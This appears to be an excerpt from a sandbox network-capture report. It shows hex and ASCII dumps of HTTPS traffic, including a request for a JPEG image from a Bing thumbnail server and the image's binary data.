2024-11-25 06:53:22 UTC	16384	IN	Data Raw: b5 20 32 38 a3 ff 00 b6 95 67 ca 8d 3f d5 d5 6f 36 34 9b fe 9a 55 9b 7f f5 3f f3 ca 4a 0d 06 49 f3 d4 3f 67 df 56 7f e5 b7 97 27 fa ca b3 1c 31 f9 d5 47 2c e0 56 b7 b2 8f fe 5a 54 37 1e 5d 9f ee ff 00 73 57 24 ff 00 9e 72 7f ac ac db 84 91 e6 fd e4 f4 01 34 69 be 6f 32 4a bf 66 91 c3 fb ba ca 93 fe fd 49 4f 8d a4 ff 00 b6 71 51 30 81 d3 fe e9 ff 00 d5 cf 0c 54 7d cf f5 75 89 67 71 fb ef 2e 49 ea fc 77 d1 a4 3e 5c 7f eb 2a 4d bd a1 72 47 a6 c7 e6 27 fa ba a5 1e a7 6e ff 00 bc 8e 9f 6f 77 fb ef fd 15 41 23 ee 3c bf 27 f7 93 d3 2d ed e3 49 a9 f6 ed 4f 92 5d ff 00 ea ff 00 75 40 16 63 49 12 1a 7e f8 a9 bb f7 ff 00 ab ff 00 96 b4 50 50 91 ff 00 a9 a2 37 ff 00 96 94 cd bb 21 a2 35 ff 00 96 71 d0 1e d0 24 7f dc ff 00 af a6 49 2f fc f4 ff 00 57 53 46 9f f2 ce 9f Data Ascii: 28g?o64U?JI?gV'1G,VZT7]sW$r4io2JfIOqQ0T}ugq.Iw>\*MrG'nowA#<'-IO]u@cI~PP7!5q$I/WSF
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: bc f0 cb 25 af fa df df 56 3f c4 cb 28 ef 3c 69 2f da 20 fd df 95 e6 45 75 fc 7b ff 00 bb fe ed 72 bf d9 56 53 79 5f 63 fb 14 57 92 cb ff 00 7f 3f d8 f9 6b d6 ff 00 58 3f 9e 27 87 53 86 7f 92 4c f4 b8 d3 7f fa ba ad 6f 7b 65 37 fa b9 e1 ff 00 96 9f ba 96 6f ee d7 9d 5e 69 1e 22 d1 7c 43 75 a6 6b 56 5f d9 97 f6 bf bb ba b5 f3 9f 7c 1f f5 d3 fe 03 4d d7 34 c9 21 9a d6 48 fc 98 a3 96 c2 3f 37 f7 3f f2 d7 fb f5 a7 f6 ec 25 f0 c4 b8 70 cc fe d4 bf 03 d4 3c 9f f3 8a 6d 60 7c 3b 96 3b 6d 2e 2b 3b 89 ff 00 e5 94 72 7e f7 ee 6f 6f bd b6 ba 48 de 39 bc 9f 2f f7 b5 eb 61 6b c2 b4 39 a2 78 d5 b0 b3 c3 d6 95 29 10 ff 00 d7 3a 5a 74 94 6d ae 83 92 63 69 3e e5 3f 34 66 a8 8e 41 9b ff 00 e7 9d 1b e9 9b 3f 7d 44 94 19 93 47 44 9f 3d 33 65 12 7f a9 f2 e8 1f b4 16 a3 dd 44 Data Ascii: %V?(<i/ Eu{rVSy_cW?kX?'SLo{e7o^i"\|CukV_\|M4!H?7?%p<m`\|;;m.+;r~ooH9/ak9x):Ztmci>?4fA?}DGD=3eD
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: d1 22 6f 87 ff 00 46 d1 b3 67 ef 28 39 7d 9b 08 ff 00 e7 a4 74 f9 1a 3a 64 8b fb ea 24 4d f5 99 a5 9c 60 32 3a 9b 7f ee 6a 1f 2a a6 d9 5a 48 54 69 f2 84 7f f3 ce 3a 37 ef fd dc 74 6c 92 99 b6 b3 34 85 c2 47 8d 28 8f e4 ff 00 57 46 da 92 3f f5 34 11 0b f3 89 25 32 3f fa 69 ff 00 2c a8 d9 be 0f 32 9f 22 7f d7 6a 0d aa 0c 93 fe 79 d3 3e e5 3f ef d1 b2 47 a0 ce cc 3e e5 1b e5 a7 c6 9f f4 c2 99 b3 67 ef 28 09 2e 50 ff 00 96 35 34 69 4c 8e 2a 9b 64 89 fe ae 81 c2 e3 e3 ff 00 53 ff 00 4d 28 d9 49 1c 5b 3f d5 d1 b2 4f f5 71 d4 9d 3a 8d ff 00 96 df bc a4 a9 f6 49 44 91 48 90 d0 4c ee 33 7e cf f5 94 e8 df fe 59 d3 63 49 29 d1 a7 fc f3 a0 ad 46 fe f7 fe d9 d1 4f 92 8a 0d 0f 96 ac ee f5 6b 6f de 47 07 fa df fa 63 4f 93 5d d6 93 fd 67 fe 89 ae e6 44 d9 4c d9 bf fe 58 Data Ascii: "oFg(9}t:d$M`2:jZHTi:7tl4G(WF?4%2?i,2"jy>?G>g(.P54iLdSM(I[?Oq:IDHL3~YcI)FOkoGcO]gDLX
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 3f fc 7c 58 f9 5e 57 fc f2 a9 be c9 7a ff 00 ea fe c5 ff 00 6d 66 aa 7a 85 bd ea 7f ac 82 ca 2f fb 6d 51 50 ba 65 09 35 3d 2a 69 bf d1 fe db 4f b3 8a 49 bf e3 de 0a a7 71 69 7b fe b2 de 78 65 8e a1 f3 75 68 7f 79 f6 e8 62 ff 00 ae 35 81 d5 fe 13 a1 b7 4d 45 26 f3 24 b1 fd df fc f5 f2 28 bc 87 ce 86 18 e4 b1 f2 ab 1e cf 53 d4 7c e8 bf 7f 7b 2c 95 bd 67 2d cb c3 fb cd 2a 69 6b 78 7b c6 33 f7 4c 79 34 cd 9f ea ff 00 f4 75 53 92 29 2d a6 ff 00 9e b5 d6 c7 71 6d fe ae 4b 18 62 92 b4 b4 fd 37 49 b9 ff 00 9e 1e 65 47 b1 2f db 1c 1c 7a 84 9e 4f ee ec 66 ff 00 ae be 7d 33 fb 42 4f 3b fd 44 d5 ea 36 fe 1f d3 bc ef f5 1e 6f 95 ff 00 4d aa 69 34 cb 24 ff 00 57 63 0f fd 75 ad 3d 84 ff 00 98 c7 eb b0 fe 53 cc 6d ef ae 52 6f dd c1 57 2d f5 dd 4a 19 bf 77 04 d5 d9 dc 69 Data Ascii: ?\|X^Wzmfz/mQPe5=iOIqi{xeuhyb5ME&$(S\|{,g-ikx{3Ly4uS)-qmKb7IeG/zOf}3BO;D6oMi4$Wcu=SmRoW-Jwi
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 65 5c 69 b6 4f ff 00 3d a5 ad bd 53 50 b7 f3 bc c9 27 f3 6b 2a e2 f7 7c ff 00 bb 82 a4 39 39 0a df 67 f2 66 ff 00 51 35 56 b8 96 3f f9 69 3f 95 ff 00 4c bc 9a d5 b7 bd d9 56 64 4f b6 43 fb cf 27 fe b9 52 e4 0e 73 06 e2 58 d3 fd 5c f5 0f da e4 9b fd 64 ff 00 bc ab 9a 86 9f e4 fe f2 3f 22 b2 ae 2e 24 49 bf e5 8c bf f6 da a2 66 85 99 3e d0 ff 00 f2 df cd a8 63 7b 98 7f d6 4f 4c fb 6c 89 4c df 73 37 ef 3c 8a c4 db 90 b9 b6 39 a1 ff 00 5f 0d 43 25 af ef bf d4 43 2d 53 93 ed 29 fe b2 9f 1b c9 0f fa c8 28 f6 81 ca 5f 91 2d 93 fd 65 8d 3e 3b 48 e6 ff 00 57 55 a3 97 7f fa bf 26 a6 8d 3c ef f5 9f bd a3 9c 39 4b 9f 64 d9 07 99 24 10 cb ff 00 5c a9 f6 56 56 cf 37 99 fe aa 4a 65 ba 6c fd dc 70 4d 14 75 72 2b 28 d3 fd 64 f5 b0 4c a1 71 a6 4a 93 7e ef c9 aa 7f 65 ff 00 Data Ascii: e\iO=SP'k*\|99gfQ5V?i?LVdOC'RsX\d?".$If>c{OLlLs7<9_C%C-S)(_-e>;HWU&<9Kd$\VV7JelpMur+(dLqJ~e
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 92 de 44 a2 34 92 b5 64 8a 4a 86 44 ff 00 9e 75 40 36 dd ff 00 e7 a5 3e 44 8d e1 f2 ea b4 8f 22 51 bf 7d 06 63 a4 b7 8d e9 92 5a 46 95 34 74 fd fb e8 34 28 6d df 45 5f 8e de 37 a2 a4 39 06 7f 68 47 47 f6 80 f4 a7 f9 51 d3 e3 b7 8d ff 00 d6 0f 36 b9 cf 5f da 0b f6 b1 eb 4f fb 68 a4 fb 3c 74 7d 9e 81 73 84 77 71 d3 e3 b8 8e 8f b3 d1 f6 29 3f e7 bd 04 93 6f 8d e8 df 15 43 f6 4b 9f f9 67 47 d9 ee 28 15 42 c5 2e c8 de a1 8e 29 28 91 24 4a d0 82 cf fd 73 a9 a3 7a a1 fb da 9a 47 97 ce fd dd 00 59 f3 bf eb 85 3e 47 aa 1b e4 7a 7e f9 28 02 e4 7f 25 1f ba aa de 6c 94 46 f4 01 67 fd 1a 88 fc b7 a8 7e fd 3f 7c b4 00 5c 79 74 48 94 6e a3 7c 5e 75 04 8c fb 3c 5e 75 3e 3b 4b 6a 7f 9b 1d 4d 1b 47 ff 00 3c 28 28 ad f6 7b 6f f5 94 7d 92 3f f9 e1 56 63 f2 e9 ff 00 7f fe 5b Data Ascii: D4dJDu@6>D"Q}cZF4t4(mE_79hGGQ6_Oh<t}swq)?oCKgG(B.)($JszGY>Gz~(%lFg~?\|\ytHn\|^u<^u>;KjMG<(({o}?Vc[
2024-11-25 06:53:22 UTC	16067	IN	Data Raw: de 69 f6 5f f1 2c 96 49 20 fd e7 95 fe 56 ab 69 76 91 c3 a5 ea 1a 84 96 30 f9 91 45 fb af f7 eb 9a 74 4e a8 56 38 fd 71 24 b3 b2 8a de e3 c9 fb 47 ef 3c df f7 3f 86 b2 a3 ff 00 9e 7e 7d 74 9e 38 b5 d9 05 af ee 3f e5 d6 38 eb 1e 3b 4d 97 d1 7f d3 5f f5 b5 cb 38 7b e7 54 27 ce 5f f0 df 99 0f 9b 1f fc fd 45 e5 d5 cb 74 b6 7f 37 fe 99 56 3d e7 fa e9 64 b8 fd d7 fc f2 8a 89 35 0b 8f f5 9f ea bf eb 95 66 59 a5 1c 32 db 43 fb bf f9 6b fb c9 69 9a c4 b1 dc e9 7e 5c 9f ba ff 00 9e 5f f4 d2 a8 59 cb 1b c3 e5 c9 fb af fd 02 4f f7 aa b5 c3 5b 79 de 5d bf 9d 14 7f f4 d7 fc fd da 7e d0 07 ea 09 65 e4 fd 9e ce 0f 2a 48 bf e7 ac d5 5a 39 76 7e f3 c8 ab f6 f7 be 4d 97 fa 88 6a 1b 8f b1 5c c3 2d c4 9f ba 93 ff 00 1c a8 34 26 b7 96 db c8 f3 24 f3 bf e9 ac 55 35 ba 46 f0 f9 Data Ascii: i_,I Viv0EtNV8q$G<?~}t8?8;M_8{T'_Et7V=d5fY2Cki~\_YO[y]~e*HZ9v~Mj\-4&$U5F
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: c5 fb 13 6e 4d 43 fe 7a 4f 55 bf b4 3d ab 2b fd 25 ea cc 76 9f f3 d0 d4 73 9a 72 13 7d bf fe 9b d3 a3 79 1e 96 38 a3 86 a5 ab 33 16 38 b7 d5 cb 78 a9 96 e9 23 ff 00 cb 0a 9a 3b 7f f9 69 24 f5 a1 33 99 34 69 ff 00 5c 68 df ff 00 2c e3 a7 db c3 1d 5c 8e 2f f9 e7 57 c8 67 ce 53 8e 19 1f fd 67 fa ba b3 6f 6f 6c 95 73 64 7f fe ea 88 d3 fe 5a 55 f2 98 f3 90 c7 17 fc f3 82 ac db db c6 94 79 b1 d1 f6 8a d0 07 fd 9f 65 32 44 8d 3f e5 bd 32 49 64 aa d2 50 04 df 6b 8d 3f d5 d4 32 5f 49 ff 00 2c ea 19 1a 3f f9 ef 4c fb 45 67 ce 50 b2 4b 72 f3 53 36 46 9f eb 27 a8 e4 97 7f fa ca 87 cd 8f ce fd e5 66 68 5f fb 44 7f f2 ce 8f b5 cb ff 00 2c e0 aa 1f 6b 8d 3f d5 d3 ff 00 b4 b6 7f ab a8 f6 81 c8 5f ff 00 49 ff 00 ae 55 34 6f 1a 7f cb 7f 36 b2 be d5 23 ff 00 ab a2 36 95 eb Data Ascii: nMCzOU=+%vsr}y838x#;i$34i\h,\/WgSgoolsdZUye2D?2IdPk?2_I,?LEgPKrS6F'fh_D,k?_IU4o6#6
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 13 7d 3e de d6 39 ab 6e 3f 0d 5c cd 37 fa 8a e9 3c 3f f0 de e6 f2 6f f4 c9 fc a8 ff 00 e7 94 55 a5 3a 15 26 44 f1 14 e0 72 ba 3e 85 6d 79 fe ae ba 7f 0f f8 5e 34 ff 00 96 1e 6c 95 df f8 7f c0 36 56 1f bb 8e bb cf 0d f8 56 2f 27 f7 90 79 55 eb 51 c1 7f 31 e4 d6 cc 21 f6 4e 03 c3 fa 54 89 ff 00 2c 2b aa d0 f4 f9 61 fd e4 95 dc db f8 6a 34 ff 00 57 05 12 68 95 ea 53 84 20 79 73 ad 39 94 2c d3 7c 3e 64 95 34 72 ec 9a af c9 a6 48 95 95 a8 5a c8 ff 00 fc 6a 8e 72 21 01 9a c5 ee f8 7f e9 a5 73 17 09 bf f7 95 b7 22 79 3f eb 2b 36 e3 ec d5 8c e6 75 51 a6 66 fd 92 3f fb 67 54 ef 2d 2d a9 fa a6 a7 12 56 25 e6 a7 ff 00 2c eb 09 cc da 10 98 5e 25 b7 fc f7 a8 64 fb 32 7f cf 1f fb 6b 50 c9 2f 9d fb cf 3e ab 49 0d cb d6 1c e7 51 66 e1 23 9a a9 dc 59 46 f4 7d 92 4f f9 ef Data Ascii: }>9n?\7<?oU:&Dr>my^4l6VV/'yUQ1!NT,+aj4WhS ys9,\|>d4rHZjr!s"y?+6uQf?gT--V%,^%d2kP/>IQf#YF}O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:21 UTC	375	OUT	GET /th?id=OADD2.10239317301257_1V7UFS3KR429ZBZW8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:21 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 527106 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C3C5DEDC35AF40238F2EBE5A4B39CC4F Ref B: EWR311000102033 Ref C: 2024-11-25T06:53:21Z Date: Mon, 25 Nov 2024 06:53:21 GMT Connection: close
2024-11-25 06:53:21 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 38 3a 30 35 20 30 30 3a 33 31 3a 35 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.4 (Windows)2022:08:05 00:31:508C
2024-11-25 06:53:21 UTC	16384	IN	Data Raw: d2 48 df 77 ee d6 5d b8 09 36 1b e6 ab 12 45 23 2e 51 78 5a 1d 81 1b 6c f1 dd 36 43 6d ac cf 33 f7 df c5 b7 76 17 6d 53 4b b9 22 e1 2b 53 4d d9 75 6f bc ed a5 6b 0f 72 96 a1 73 19 e0 fd df e2 a5 d3 96 26 8d 98 c5 b9 a9 f7 96 b1 b5 d7 96 7e 51 fd ea b3 66 d1 c1 0b 47 b5 72 bc 55 68 2b 5c cf bc 82 07 ea bb 4a d7 0b f1 11 e0 45 fb 3c 0d e6 16 fe 25 fb b5 d4 f8 82 69 37 39 8f e8 cd 5c 36 b8 0c 92 67 6b 57 55 15 ef 5c c2 a3 f7 6c 72 17 16 ef bb 76 da cb bc 8f 63 6d db cd 76 37 50 7e ef 8f bd 59 77 3a 51 92 4c ed e2 bd 18 cd 1e 7c a0 ce 5b cb 72 d9 a9 05 b3 b2 f3 5d 0a e8 f2 f5 0b c5 4b 0e 90 fd d6 b4 f6 88 cf d9 b3 1a 39 2a c4 32 e6 b3 7c cc 54 b1 cc 2b da b1 e6 5c d5 59 3e 5a 7a 48 77 56 74 73 54 ab 25 47 28 1a 90 dc 94 6a b7 0d d0 65 c1 6e 6b 0b cd a9 23 9f Data Ascii: Hw]6E#.QxZl6Cm3vmSK"+SMuokrs&~QfGrUh+\JE<%i79\6gkWU\lrvcmv7P~Yw:QL\|[r]K9*2\|T+\Y>ZzHwVtsT%G(jenk#
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: ce 92 c6 7f 2d 7c c3 d2 b5 f4 dd 68 6e 68 c3 6d ae 5a c2 e8 32 e0 d5 ac 23 2e 51 f6 9a e2 a9 14 de a7 54 5b e8 75 f6 7a b0 dd e5 ee ad cd 2b 5c 21 70 fd 2b cc e3 9a 58 b9 0d 57 b4 fd 46 4e ec d5 cb 52 8a 68 da 35 1e c7 ac e9 fa 87 9e ad f3 71 5a 9a 3c b2 2c d8 dd c3 7f 0d 79 df 86 f5 03 f2 fc ff 00 7a bb ad 06 75 91 54 9e b5 e7 4b dc 95 8d 2a 45 4a 9b 76 35 b5 18 1b 6a 9f f6 ab 4f 44 90 c5 0b 03 f3 0a cf d5 24 90 5b a1 15 9f 63 7e e8 cd 1b 35 6d 4e aa a5 52 f1 3c f7 46 55 a9 58 d6 d5 0c 6d 23 36 da c9 b8 94 47 b9 3b 52 de 5e 65 78 f9 6b 27 50 b9 dd 52 e7 cd 2b 9d 58 7a 0d 25 72 1d 56 5f 99 b0 d5 8b 79 71 8d d5 3d fc c6 b1 6f ae 31 5d 74 63 72 aa 3b 0c be 9f 35 95 74 db 9a a5 b9 98 1a a1 71 2d 7a 94 e2 8e 39 b6 45 70 01 aa 57 08 87 a5 49 73 35 54 92 6c 57 Data Ascii: -\|hnhmZ2#.QT[uz+\!p+XWFNRh5qZ<,yzuTK*EJv5jOD$[c~5mNR<FUXm#6G;R^exk'PR+Xz%rV_yq=o1]tcr;5tq-z9EpWIs5TlW
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 6a b7 53 ac ca 9e 67 de a4 9a e0 bb 62 a1 b9 29 23 29 7e ab 44 61 66 39 49 b0 85 8b b3 49 2b 71 fd d6 aa f7 1a 94 71 ee 8b 77 97 27 f7 7f 87 15 5f 55 bb 0b 1b 46 ed f7 be f5 72 da b6 ab 6c 93 46 c6 56 da 9f c2 bf c5 5d 10 a6 e4 cc 27 51 44 eb ad f5 3b 34 65 8c b7 cc d5 7d ee 37 ae 63 f9 bf da ae 16 d7 c5 56 4d 32 e2 d7 ca 66 f9 77 37 f0 d7 43 63 74 3c 96 2d 3a e5 be eb 55 4a 8b 8e e8 51 ac a5 d4 d5 fb 51 46 50 cb 4d bc d4 51 63 e1 b9 ac eb 89 73 c8 6d db 6a ad c3 ee 8f de a3 92 c3 e7 b9 a7 6b a8 ac db 80 fe 1a 63 5c a3 5c 37 cd 58 a9 3f d8 e1 91 cb 6e dd f7 97 f8 ab 19 ae 27 17 1e 7c 8c db 55 be 55 a7 ec ee f4 17 3b 49 5c ef 23 93 2d 86 a6 4c d8 6a e6 ad 75 f8 a3 92 38 24 dd f7 7e f3 56 a5 bd fc 57 12 2a 79 aa a5 5a b3 94 5a 66 91 92 68 d3 63 f2 e2 ab dc Data Ascii: jSgb)#)~Daf9II+qqw'_UFrlFV]'QD;4e}7cVM2fw7Cct<-:UJQQFPMQcsmjkc\\7X?n'\|UU;I\#-Lju8$~VW*yZZfhc
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: c9 0b 59 ed 7a 8f b8 6e e5 6a 79 4d 3a 15 6e 35 03 e7 36 3a d3 21 d4 9e 56 d9 26 ef f6 5b da b2 75 a9 c8 b8 62 8d b4 d5 19 b5 16 59 33 f3 65 78 aa 71 60 99 d0 c3 aa 22 dd 6c dd c6 ec 55 f4 9d 26 5c 8e 95 c4 da cd e7 5e 2c 85 9b 6f f1 57 47 6b 3c 6b f2 27 cc 6a 36 2f 73 65 5b e5 e2 87 5c c7 b9 1b 9a ab 0c f9 5e 2a 48 64 7a 6e 48 5a 96 20 43 fc 7d 6a 64 88 c6 d9 0f 50 da 9d dd 5b 9a d6 86 d2 3f b3 f2 dc b5 73 d4 92 5b 9a d3 8b 6c 8a de 49 59 70 12 a4 92 07 65 f9 aa 0f 32 54 91 80 e8 b5 a3 a6 dc 79 b1 b4 6d d7 fb d5 cf 3e 64 ae 99 ba 6b 66 88 ed e3 8c 2e 2a 36 5d d3 6c 5a b1 7d 16 17 29 fc 35 4a 37 76 b8 53 de 95 39 36 98 49 2d 0d d8 e2 1e 4f ef 3f bb 5c df 8a 2d 40 66 92 3f fb e9 7f 8a af a6 a6 52 46 8e 46 dc b5 8b e2 2b db 7b 7b 39 ef 2e ef ad ac ec 20 53 Data Ascii: YznjyM:n56:!V&[ubY3exq`"lU&\^,oWGk<k'j6/se[\^HdznHZ C}jdP[?s[lIYpe2Tym>dkf.6]lZ})5J7vS96I-O?\-@f?RFF+{{9. S
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 91 5c 32 37 99 fb b6 f9 95 be f2 fa d5 d8 61 80 c6 d3 c6 db 82 b6 5b f8 b8 f5 c7 b5 17 62 8a b9 5a f2 49 59 98 3b 2f aa aa fd df ff 00 5d 16 ac 8c d8 93 ae ef f9 69 f7 58 0e d4 5d 61 ae 9b 3f 2f cd 9f 95 7e 56 f4 c5 56 57 8c 4d e5 96 dc 7a 6e fe 1a 09 d1 1a 97 16 e8 bb 65 b6 6d cb f7 be 6f e1 a8 5d 24 30 b3 43 bb e5 fb d1 2f cd b7 e8 7d 2a 3b 7b c5 83 72 0f 2b cc 65 c7 ef 3f 9d 58 49 ca 48 b2 a7 ee cf fc f3 56 2d fa d4 ea 37 28 b2 8c 97 8f 0c 3e 5d c2 fd a6 d5 9b 3b 64 fb aa 7e bf c3 f5 ae bf e0 5e b1 a7 e8 df 16 34 3b df b4 f9 71 49 39 b5 bb fb 4c 9b 7c b8 a6 1b 33 96 e3 68 6d a7 3e 95 cb 5d 08 2e 64 57 96 29 19 59 5b cc f2 f0 ae a7 f8 49 07 82 33 d7 be 2b 36 6b 27 8e 35 f9 7c f8 ba 7f bb 5a 45 b5 b6 e6 53 b3 4d 3d 8f bc 1a cb c9 56 2e dc 37 2b b7 e6 56 Data Ascii: \27a[bZIY;/]iX]a?/~VVWMznemo]$0C/}*;{r+e?XIHV-7(>];d~^4;qI9L\|3hm>].dW)Y[I3+6k'5\|ZESM=V.7+V
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: af 6a 36 af 62 da 7f 95 f6 c8 d5 86 e6 59 36 c9 1e 3b ee 1c 1a c0 8c c9 1c df bc dd 22 f0 17 e5 fe 75 50 4a d7 7b 97 6d 55 f6 2c 5f cd 2d ed c4 73 de ca ca db be 56 8d 7e ea 7a 1f 5c 50 c8 f6 ed 14 f6 f7 2d bb 71 0c ac b8 fc 73 fd 28 fb ea db 3e 62 cd f2 ff 00 80 a6 28 f9 7c b7 81 a3 56 e1 95 9b bf a8 34 f9 9b 66 ae 9c 52 fd 46 6c b7 0c ca 9b b6 c8 d9 ff 00 77 d8 0a b5 6a e6 0f 36 34 65 68 e4 5f f5 6c bb 97 f2 f6 f5 aa f6 c2 41 f2 40 de 67 cc 42 ab ae d6 cd 11 bf ef 31 24 0b 19 5f ba cd 55 2b b7 6b 8e 31 56 57 1d b7 ca 6c 6e da 36 80 bb 7e eb 51 35 e5 da 47 84 97 85 a9 5f 05 76 15 e6 4a 6c 80 1f 9a 36 e7 fc 29 29 2b ea 13 a4 ec f9 48 56 58 e6 b7 e7 6a 99 39 f9 5b e6 53 f8 d4 73 17 89 b7 a2 b3 44 df f2 d1 be f2 ff 00 85 13 41 3f da 16 58 97 cc 1b be 65 dc Data Ascii: j6bY6;"uPJ{mU,_-sV~z\P-qs(>b(\|V4fRFlwj64eh_lA@gB1$_U+k1VWln6~Q5G_vJl6))+HVXj9[SsDA?Xe
2024-11-25 06:53:22 UTC	16067	IN	Data Raw: fd de d4 6e c1 58 8f 52 86 2b 1b 16 bd bb d4 24 97 6b 0f 37 c8 6d b2 5d 3a a6 dd d2 7f 75 46 7e e8 fd 6b 2e fa f6 0b cb 58 2c ed da 48 ad 22 8c ca b1 b2 fc db 10 e0 fc c7 f8 8d 52 7b bd 47 56 99 ad ad 2d 9a 5b 89 30 1a 46 8c 6e 8c f4 dd b7 38 07 b7 5e dd eb 69 ec ec f4 bb 3f 33 54 b9 5b 9f f9 62 b6 d1 2f cc c0 75 dc e3 df fc 93 47 e6 2f 23 1b 4d b4 b9 93 50 6b 8b 39 6f a7 79 94 c2 b0 6d d8 90 9c e3 e6 27 8d bd eb 46 e2 2f b0 db f9 16 fe 5d cd f4 51 e2 45 93 e5 85 7e 7e 84 7f 17 3e fc d2 4d ab bd df 91 1b af d8 62 b9 6d 90 45 1b 3f cd 81 9d bf 80 f7 a9 2f b1 66 d1 25 b5 8a c9 f7 63 99 95 42 98 60 23 93 df 0d 9e d4 ef a8 a2 91 4e e7 4d bc bc b1 92 ee fe 56 94 45 1f 99 25 8c 58 45 90 92 0a 28 c1 ed ea 6a 5d 6b 5a 8d 2c fe c7 a7 ca d1 05 8f fe 59 b0 da a7 ba Data Ascii: nXR+$k7m]:uF~k.X,H"R{GV-[0Fn8^i?3T[b/uG/#MPk9oym'F/]QE~~>MbmE?/f%cB`#NMVE%XE(j]kZ,Y
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 9d 25 da 5b 25 b7 63 0d f5 c9 03 81 52 e5 77 b8 d5 3b 6b 62 7b 57 45 b8 95 ed 1b 6d b2 c6 c9 2b 34 7b ba f4 04 9e 03 7d 2a b7 99 3b f9 b6 76 4b e6 19 14 0f dd e5 95 73 d7 e9 5a b1 c9 a2 da 7e ee 55 b9 68 f6 ab da 47 3c 65 96 42 79 27 6a fd e5 f4 cd 60 ea 5a 9e a2 96 6b 6d 6b 3d 8a 5b 2e f1 b6 25 f2 de 40 c7 24 b1 3f c8 d0 8a b1 14 39 85 9a 49 f7 30 5f f9 65 ef d3 a5 24 5a 7e b9 ad 5e 34 76 76 33 31 db f2 c6 ab 85 8c 7a 93 c0 ad 0b 1d 75 62 d3 fc b8 95 63 65 8f c9 8e 36 50 5d 83 0f 9d 8b e3 9c f4 e3 a0 ab da 7e af 73 77 1b d8 34 eb 6d 0c 8c bf bb b4 c2 32 c6 bd 57 71 a6 9e a4 b8 26 8c cb 7d 1e f7 4d d3 d9 ee 56 38 87 ca 59 55 b7 3a ee fb b9 f4 ce 2a cf 96 f0 d8 fd b9 d7 6d b6 ec 79 92 7c be 61 3d 38 a8 f5 3b bf 32 dd ad 35 08 a4 80 ac 86 65 95 94 6e 61 8c Data Ascii: %[%cRw;kb{WEm+4{};vKsZ~UhG<eBy'j`Zkmk=[.%@$?9I0_e$Z~^4vv31zubce6P]~sw4m2Wq&}MV8YU:my\|a=8;25ena
2024-11-25 06:53:22 UTC	16384	IN	Data Raw: 51 10 e9 4b a9 0e b1 0c 6b f6 6b 78 2c d7 1b 40 59 db 2a f2 01 c1 3b 49 c7 5e 78 a6 58 ff 00 a5 ac 76 45 5b 08 cd 1a cb 2f ca bf 37 76 ee 4f 5a 26 2a 6f 3c f9 65 69 2e 17 1e 5b 33 6e 68 d0 70 17 e9 4d 8e e0 7c d1 c7 b5 44 79 f9 be bd 71 f5 a1 da 40 93 45 cd 52 f6 07 b3 8a 28 a5 8d 61 8e 25 8e 08 fb af 72 c5 bf c3 9a c4 7b 52 75 06 82 59 fc d1 1e 04 6c bf 2b 37 7e 3e 94 fb cd 41 11 a3 89 15 5b 67 dd dd fc 34 eb 77 92 79 9a 57 81 65 e8 57 fa d5 f3 69 b1 16 57 d1 92 b4 50 47 1e 07 ef 24 5c 85 dd f3 6e f7 a5 b3 8e f2 6b 7f dc 33 41 69 3b 6c 91 57 e6 69 88 eb c7 6a 75 d4 c2 55 f2 d5 f6 b7 f7 a9 63 bc 1a 75 af 99 03 6e 92 35 fb ca db 9b 79 ef 59 c7 b9 72 4b 44 74 30 98 13 52 d3 7c bf dd 9b 39 37 ae e6 fb c4 0e 7a 74 aa f3 23 dd 6a cb 71 1c fe 44 6b 21 93 77 97 Data Ascii: 